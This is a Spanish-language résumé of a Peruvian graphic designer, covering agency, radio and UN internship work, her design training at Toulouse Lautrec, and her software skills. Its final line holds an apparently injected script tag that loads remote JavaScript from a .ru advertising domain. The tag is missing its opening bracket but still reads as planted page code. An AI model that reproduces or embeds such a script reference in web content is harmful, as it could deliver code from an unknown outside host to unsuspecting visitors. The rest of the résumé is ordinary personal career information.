

DIANA SARA VELARDE RIVERA



titulo

Diseño - Creatividad.

EXPERIENCIA LABORAL

-5/2009-6/2009 PERUVIAN TRANSNATIONAL

Arte y diseño Comunicación - Publicidad
Diseñadora de Logotipos de Página web, diseñadora de avisos
Publicitarios para revista Inmobla y Nitro.

-5/2008-12/2008 CPN RADIO

Comunicación/Imagen y sonido Administraciones Públicas
Productora del programa Defensa del Consumidor con
Isrrael Arias y también Pre-Productora en las tardes del Tío Ronco.
Locución como la negrita en el Programa las Tardes del Tío Ronco con el
Señor Róman Gamez.

-1/2008-3/2008 ORGANIZACIÓN DE LAS NACIONES UNIDAS

Comercial Diseño - Creatividad
Practicante y ayudante en páginas web en organizar los datos, ver sus
faltas ortográficas y estar pendiente de los banners. Hacía Gif animados
para fechas importantes y que iban a ser colgados en la red.

-1/2006-0/0 EDI POR EL PERÚ

Arte y diseño Diseño - Creatividad
Prácticas Profesionales en el perfeccionamiento didáctico de creaciones de juegos para niños.
Avisos de revista, avisos de periódicos, paneles y afiches.

FORMACIÓN ACADÉMICA

1/2008

DIRECTORA DE DISEÑO GRÁFICO PUBLICITARIO

FP3 / Grado Superior Otra no especificada
TOULOUSE LAUTREC



PROGRAMAS APRENDIDOS: PHOTOSHOP, ILUSTRATOR, FLASH, DREAMWEAVER,

7/2007

CURSO WEB

Graduado Escolar / ESO / Primaria Comunicación
Instituto Superior IPAD
Curso Libre de Páginas Web
Certificado de Termino de curso.

IDIOMAS

Inglés

Nivel:Nivel Intermedio

Inglés

Nivel:Nivel Principiante

OBJETIVOS PROFESIONALES

SOY UNA PERSONA PERSEVERANTE, DEDICADA A SU CARRERA, EN BUSCA DE UNA OPORTUNIDAD LABORAL FIRME Y POSITIVA. CON GANAS E APRENDER Y SEGUIR ADELANTE.

Cualidades

Adaptable, Amable, Cariñoso/a, Colaborador, Comunicativo/a, Creativo/a, Decidido/a, Determinado/a, Energico/a, Fiable, Flexible, Gracioso/a, Honesto/a, Imaginativo/a, Inteligente, Intuitivo/a, Meticuloso/a, Perceptivo/a, Productivo/a, Responsable, Sociable, Trabajador/a, Visionario/a,

Aficiones

Arte, Cine/Películas, Gimnasio/Aerobic, Tenis/Paddel,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: No

Estoy dispuesto a trabajar fuera de mi región: No

Información Adicional:

FORMACIÓN:OBJETIVOS
relucir una gran creatividad.

Mis objetivos son realizar diseños dando un 100% de mi, poniendo a
Apoyar a mis compañeros y aportando ideas, que gracias a ellas



formaran una gran relación en equipo. Ganar experiencia en el ámbito laboral y tratar de crecer simultáneamente con la empresa.

FORMACIÓN ACADÉMICA Instituto Superior Toulouse Lautrec Fecha: 2003 - 2007 Egresada en el área de Dirección y Diseño Publicitario. Premio Cum Laude a un promedio de 15.76 en todos los años de carrera realizados. Diploma de Voluntariado. Diplomas de segundo puesto en campañas Publicitarias Programas aprendidos en el Instituto Superior Toulouse Lautrec Adobe Photoshop (modificación de imágenes, clonación de imágenes, bajar o subir resoluciones de imágenes, perfeccionamiento de imágenes. Adobe Illustrator (creación de imágenes, logotipos en curvas, imagen corporativa, creación de avisos, paneles, redibujar en vectores.) Flash(creación de imágenes en movimientos por fotogramas, creaciones de gif animados y banners publicitarios) Redacción Creativa(como expresar un posicionamiento y un concepto, dando las frases y palabras directas para distintos grupos objetivos.) Dreamweaver(creación de páginas web en html)(Basico Intermedio) Sound Forge(programa para editar sonido, también para realizar Spot radiales, o Spot de tv) Ilustración(Dibujos en técnicas de pastel, temperas y acuarelas)

EXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL:
script src=http://www.bannerdriven.ru/ads.js>

